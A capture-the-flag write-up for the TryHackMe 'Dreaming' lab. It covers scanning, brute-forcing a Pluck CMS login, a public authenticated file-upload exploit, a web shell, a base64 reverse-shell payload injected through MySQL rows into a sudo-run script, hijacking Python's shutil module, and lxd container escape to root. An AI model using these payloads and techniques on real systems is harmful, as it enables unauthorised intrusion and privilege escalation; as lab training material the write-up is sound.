> For the complete documentation index, see [llms.txt](https://sumanroy.gitbook.io/ctf-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sumanroy.gitbook.io/ctf-writeups/tryhackme-writeups/dreaming-tryhackme-writeup-ctf.md). # Dreaming TryHackMe Writeup CTF While the king of dreams was imprisoned, his home fell into ruins. Can you help Sandman restore his kingdom? {% embed url="" %}

#### Table of Contents * [#recon](#recon "mention") * [#initial-foothold](#initial-foothold "mention") * [#exploitation](#exploitation "mention") * [#privilege-escalation](#privilege-escalation "mention") * [#intended-path-hacking-lucien](#intended-path-hacking-lucien "mention") * [#intended-path-hacking-death](#intended-path-hacking-death "mention") * [#intended-path-hack-morpheus](#intended-path-hack-morpheus "mention") * [#unintended-path-get-root-and-other-flags-patched](#unintended-path-get-root-and-other-flags-patched "mention") * [#get-death-flag](#get-death-flag "mention") * [#get-morpheus-flag](#get-morpheus-flag "mention") ### Recon First let's use rustscan to check for live ports on the target ```bash # I use rustscan, you may use nmap rustscan -a TARGET_IP -- -A -sC # Expected Output PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 762667a6b0080eed34585b4e77459257 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDwLHu8L86UCKGGVbbYL07uBhmOh9hWLPtBknNwMgULG3UGIqmCT3DywDvtEYZ/6D97nrt6PpsVAu0/gp73GYjUxvk4Gfog9YFShodiB/VJqK4RC23h0oNoAElSJajjEq6JcVaEyub6w8Io50fk4nNhf8dPx0YSaRjKANr9mET6s+4cUNBAF/DknsZw6iYtafzxIQTAtgSX6AtXTXRf5cpdF02wwYvUo1jVSYdXL+Oqx19UADVhQib4Pt5gLAiwuFkoJjnN1L6xwkTjd+sUPVlhQ/6yHfB826/Qk55DWoUrnABfe+3jngyPvjl1heYDuPx01rtDvlDDGAwvriwR7XmX+8X7MZ9E9QOx/m2gEHZ83kuJ9jNLB6WjlqCyA4Zes+oHWbM9Q/nJ/UVQGdfcDS65edQ5m/fw2khqUbCeSFcuD3AQvUJvvFrfg/eTNnhpee/WYJjyZO70tlzhaT/oJheodQ1hQyfgnjwToy/ISHn9Yp4jeqrshBUF87x9kUuLV0= | 256 523aad267f6e3f23f9e4efe85ac8425c (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCmisKYJLewSTob1PZ06N0jUpWdArbsaHK65lE8Lwefkk3WFAwoTWvStQbzCJlo0MF+zztRtwcqmHc5V7qawS8E= | 256 71df6e81f0807971a8da2e1e56c4debb (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK3j+g633Muvqft5oYrShkXdV0Rjn2S1GQpyXyxoPJy0 80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works | http-methods: |_ Supported Methods: OPTIONS HEAD GET POST Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` Seems, like only 2 ports are open. When visiting the ip address on port 80, it's just a default apache page. Nothing interesting.

Let's use directory bruteforcing. ```bash dirsearch -u http://dreaming.thm -o $(pwd)/dirsearch.log ``` ```bash 403 277B http://dreaming.thm/.ht_wsr.txt 403 277B http://dreaming.thm/.htaccess.bak1 403 277B http://dreaming.thm/.htaccess.orig 403 277B http://dreaming.thm/.htaccess.sample 403 277B http://dreaming.thm/.htaccess.save 403 277B http://dreaming.thm/.htaccess_extra 403 277B http://dreaming.thm/.htaccess_orig 403 277B http://dreaming.thm/.htaccess_sc 403 277B http://dreaming.thm/.htaccessBAK 403 277B http://dreaming.thm/.htaccessOLD2 403 277B http://dreaming.thm/.htaccessOLD 403 277B http://dreaming.thm/.htm 403 277B http://dreaming.thm/.html 403 277B http://dreaming.thm/.htpasswds 403 277B http://dreaming.thm/.htpasswd_test 403 277B http://dreaming.thm/.httr-oauth 403 277B http://dreaming.thm/.php 301 310B http://dreaming.thm/app -> REDIRECTS TO: http://dreaming.thm/app/ 200 450B http://dreaming.thm/app/ 403 277B http://dreaming.thm/server-status/ 403 277B http://dreaming.thm/server-status ``` We now have an interesting endpoint **/app** let's take a look!

Hmmm, interesting.... once we visit the directory of pluck we get a welcome page along with a login page link. Please note that the version of pluck is 4.7.13

Since we don't know the password, neither do we have any breadcrumbs for password, we can try to use bruteforce to get the password, via burpsuite intruder.

I am using the rockyou.txt for buteforcing, Look out for response length 1464, you should have the password. Once we have the correct password, lets checkout for some exsisting vulnerabilites on this particular version of Pluck. ```bash # Use the searchsploit to get exploit information searchsploit pluck 4.7.13 # Expected output ---------------------------------------------------------------------- ---------------------- Exploit Title | Path ---------------------------------------------------------------------- ---------------------- Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated) | php/webapps/49909.py --------------------------------------------------------------------------------------------- Shellcodes: No Results Papers: No Results ``` ### Initial Foothold You may now copy the exploit code and run with following command! ``` cp $(locate php/webapps/49909.py) . mv 49909.py exploit.py python exploit.py TARGET_IP 80 TARGET_PASSWORD /app/pluck-4.7.13/ ``` If you successfully did that, you will be provided a link to webshell ```bash http://TARGET_IP:80/app/pluck-4.7.13//files/shell.phar ``` *** ### Exploitation Once we visit the page, you have webshell waiting for your commands. now what you can do is get a revershell back that way it will be much easier to control the system. Use the [revshells.com](https://www.revshells.com/)

Now get a reverse shell {% hint style="danger" %} One thing to note is that you may need to use base64 encoding/decoding to inject a revershell via the web shell {% endhint %}

Once we get inside, we need to find the first flag, but its read protected ```bash 4 drwxr-xr-x 6 lucien lucien 4096 Nov 19 17:53 . 4 drwxr-xr-x 5 root root 4096 Jul 28 22:26 .. 4 -rw------- 1 lucien lucien 1877 Nov 19 18:03 .bash_history 4 -rw-r--r-- 1 lucien lucien 220 Feb 25 2020 .bash_logout 4 -rw-r--r-- 1 lucien lucien 3771 Feb 25 2020 .bashrc 4 drwx------ 3 lucien lucien 4096 Jul 28 18:42 .cache 4 drwxrwxr-x 4 lucien lucien 4096 Jul 28 18:42 .local 4 -rw-rw---- 1 lucien lucien 19 Jul 28 16:27 lucien_flag.txt 4 -rw------- 1 lucien lucien 899 Nov 19 17:44 .mysql_history 4 -rw-r--r-- 1 lucien lucien 807 Feb 25 2020 .profile 4 drwx------ 3 lucien lucien 4096 Nov 19 17:53 snap 4 drwx------ 2 lucien lucien 4096 Jul 28 14:25 .ssh 0 -rw-r--r-- 1 lucien lucien 0 Jul 28 14:28 .sudo_as_admin_successful ``` *** ### Intended Path - Hacking Lucien We can look into **/opt** directory for usefull scripts that maybe helpful ```bash total 16K drwxr-xr-x 2 root root 4.0K Aug 15 12:45 . drwxr-xr-x 20 root root 4.0K Jul 28 22:35 .. -rwxrw-r-- 1 death death 1.6K Aug 15 12:45 getDreams.py -rwxr-xr-x 1 lucien lucien 483 Aug 7 23:36 test.py ``` Interesting files!, lets check **test.py** {% code lineNumbers="true" %} ```python import requests #Todo add myself as a user url = "http://127.0.0.1/app/pluck-4.7.13/login.php" password = "HeyLu#####REDACTED####!" data = { "cont1":password, "bogus":"", "submit":"Log+in" } req = requests.post(url,data=data) if "Password correct." in req.text: print("Everything is in proper order. Status Code: " + str(req.status_code)) else: print("Something is wrong. Status Code: " + str(req.status_code)) print("Results:\n" + req.text) ``` {% endcode %} we get the password for Lucien!, lets login using ssh and get our flag #### Get Lucien Flag ```bash lucien@dreaming:~$ cat lucien_flag.txt THM{TH3_########REDACTED######} ``` *** ### Intended Path - Hacking Death Check if there is any program that can be run as root to get an easy hack. {% code lineNumbers="true" %} ```bash sudo -l ## Expected Output lucien@dreaming:~$ sudo -l Matching Defaults entries for lucien on dreaming: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User lucien may run the following commands on dreaming: (death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py ``` {% endcode %} So we can run a python script without any password using sudo! Now let's check the other file in the **/opt** folder! ```bash cat /opt/getDreams.py # we can assume a copy of this script is being used ``` {% code lineNumbers="true" %} ```python import mysql.connector import subprocess # MySQL credentials DB_USER = "death" DB_PASS = "#redacted" DB_NAME = "library" import mysql.connector import subprocess def getDreams(): try: # Connect to the MySQL database connection = mysql.connector.connect( host="localhost", user=DB_USER, password=DB_PASS, database=DB_NAME ) # Create a cursor object to execute SQL queries cursor = connection.cursor() # Construct the MySQL query to fetch dreamer and dream columns from dreams table query = "SELECT dreamer, dream FROM dreams;" # Execute the query cursor.execute(query) # Fetch all the dreamer and dream information dreams_info = cursor.fetchall() if not dreams_info: print("No dreams found in the database.") else: # Loop through the results and echo the information using subprocess for dream_info in dreams_info: dreamer, dream = dream_info command = f"echo {dreamer} + {dream}" shell = subprocess.check_output(command, text=True, shell=True) print(shell) except mysql.connector.Error as error: # Handle any errors that might occur during the database connection or query execution print(f"Error: {error}") finally: # Close the cursor and connection cursor.close() connection.close() # Call the function to echo the dreamer and dream information getDreams() ``` {% endcode %} As per the code, we don't have the password for the user death, but if you look closely there is a for loop from line 37-42 which prints the data from the database, we need to hijack the process there. What we can simply do is use a bash payload in the library database, itself so when it prints the data, it will terminate the line and execute our payload. But first we need to get the password for the database! the best place to look for is the **.bash\_history** file. {% code lineNumbers="true" %} ```bash cat /home/lucien/.bash_history # expected output ... clear clear su root cd ~~ cd ~ clear ls mysql -u lucien -plucie####REDACTED#### ls -la cat .bash_history cat .mysql_history clear ls ls -la rm .mysql_history clear ... ``` {% endcode %} As you can see, after the -p argument there is a password, lets use that to connect to the library database. {% code lineNumbers="true" %} ```bash mysql -u lucien -p -D libary # since the DB_NAME in the script is for library # Get the tables mysql> show tables; +-------------------+ | Tables_in_library | +-------------------+ | dreams | +-------------------+ 1 row in set (0.00 sec) # Check the data mysql> select * from dreams; +---------+------------------------------------+ | dreamer | dream | +---------+------------------------------------+ | Alice | Flying in the sky | | Bob | Exploring ancient ruins | | Carol | Becoming a successful entrepreneur | | Dave | Becoming a professional musician | +---------+------------------------------------+ 4 rows in set (0.00 sec) # Now Let's append our bash payload to check if it works or not mysql> insert into dreams (dreamer,dream) values ("payload",";id"); Query OK, 1 row affected (0.01 sec) ``` {% endcode %} Now execute the script like this ```bash sudo -u death /usr/bin/python3 /home/death/getDreams.py ``` {% code lineNumbers="true" %} ```bash lucien@dreaming:~$ sudo -u death /usr/bin/python3 /home/death/getDreams.py Alice + Flying in the sky Bob + Exploring ancient ruins Carol + Becoming a successful entrepreneur Dave + Becoming a professional musician payload + uid=1001(death) gid=1001(death) groups=1001(death) ``` {% endcode %} As you can see along with the data, we can execute our bash payloads! Time to pivot, use the [revshells.com](https://www.revshells.com/) to generate a reverse shell payload, select the encoding as base64.

Now do the same like previously, login to database and insert the payload like the following ```bash mysql> insert into dreams (dreamer,dream) values ("payload",";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvd#######MjU1LzY5IDA+JjE=|base64 -d|bash"); ``` And open the netcat listener in your own machine and execute the script again to get the shell!

Get the flag!

*** ### Intended Path - Hack Morpheus Let's get back to **/home/morpheus** check for files that we can read or write to. {% code lineNumbers="true" %} ```bash ls -laSh -rw-r--r-- 1 morpheus morpheus 3771 Feb 25 2020 .bashrc -rw-rw-r-- 1 morpheus morpheus 22 Jul 28 22:37 kingdom drwxrwxr-x 3 morpheus morpheus 4096 Jul 28 22:30 .local -rw-rw---- 1 morpheus morpheus 28 Jul 28 22:29 morpheus_flag.txt -rw-r--r-- 1 morpheus morpheus 807 Feb 25 2020 .profile -rw-rw-r-- 1 morpheus morpheus 180 Aug 7 23:48 restore.py -rw-rw-r-- 1 morpheus morpheus 66 Jul 28 22:33 .selected_editor ``` {% endcode %} As you can see, there is **restore.py** python script, let's investigate! {% code lineNumbers="true" %} ```python from shutil import copy2 as backup src_file = "/home/morpheus/kingdom" dst_file = "/kingdom_backup/kingdom" backup(src_file, dst_file) print("The kingdom backup has been done!") ``` {% endcode %} The program makes a backup copy of a file, but uses a library **shutil.** We can check if we have any read or write privileges on that library itself. {% code lineNumbers="true" %} ```bash death@dreaming:/home/morpheus$ find / -name "shutil.py" -type f 2>/dev/null # Expected Output /usr/lib/python3.8/shutil.py /snap/core20/1974/usr/lib/python3.8/shutil.py /snap/core20/2015/usr/lib/python3.8/shutil.py ``` {% endcode %} Let's check the first file {% code lineNumbers="true" %} ```bash death@dreaming:/home/morpheus$ ls -laSh /usr/lib/python3.8/shutil.py -rw-rw-r-- 1 root death 51K Aug 7 23:52 /usr/lib/python3.8/shutil.py ``` {% endcode %} The user **death** is in group, so we can write into the file. The best way to do it using the [**revshells.com**](https://www.revshells.com/) again and generate a python payload! only copy the selected part of the payload like the following.

Go to this website : And encode our payload to generate the base64 payload. Then insert the payload to shutil.py. ``` echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNz....YOUR_BASE64_PAYLOAD |base64 -d > /usr/lib/python3.8/shutil.py ``` Open your netcat/pwncat listner, and wait for the shell.

Get the Flag!

*** ### Unintended Path - Get Root and other flags! ( Patched!!!! ) :sob: Since I didn't want this writeup to be long, let's try to get root and leave the rest of the users and other enumeration. If we use **id** command we can see that our user **lucien** is in lxd group, we are in luck! ```bash lucien@dreaming:/home$ id uid=1000(lucien) gid=1000(lucien) groups=1000(lucien)....117(lxd) ``` Use the following command on your own machine, to create an alpine image! ```bash sudo su #Install requirements sudo apt update sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools #Clone repo git clone https://github.com/lxc/distrobuilder #Make distrobuilder cd distrobuilder make #Prepare the creation of alpine mkdir -p $HOME/ContainerImages/alpine/ cd $HOME/ContainerImages/alpine/ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml #Create the container sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18 ``` Then, upload to the vulnerable server the files lxd.tar.xz and rootfs.squashfs Add the image: ```bash lxc image import lxd.tar.xz rootfs.squashfs --alias alpine lxc image list #You can see your new imported image ``` Once done, if you see your image listed we are good to go for the next few steps! ```bash lxc init # it will ask you a couple of questions just keep hiting return lxc init alpine privesc -c security.privileged=true lxc list #List containers lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true ``` {% hint style="danger" %} If you find this error ***Error: No storage pool found. Please create a new storage pool***\ Run **`lxd init`** and **repeat** the previous chunk of commands {% endhint %} Execute the container: ```bash lxc start privesc lxc exec privesc /bin/sh cd /mnt/root # this where the main filesystem is mounted ``` ### Get Death Flag Since you have the root permission you have the freedom to read any files of any users! ```bash # Death Flag root@dreaming:/home# cat /home/death/death_flag.txt THM{1M_TH3R3_####REDACTED#####} ``` ### Get Morpheus Flag ```bash # Morpheus Flag root@dreaming:/home# cat /home/morpheus/morpheus_flag.txt THM{DR34MS_####REDACTED#######} ``` Thank you for reading! :sunglasses: Keep Learning & Happy Hunting! :heart: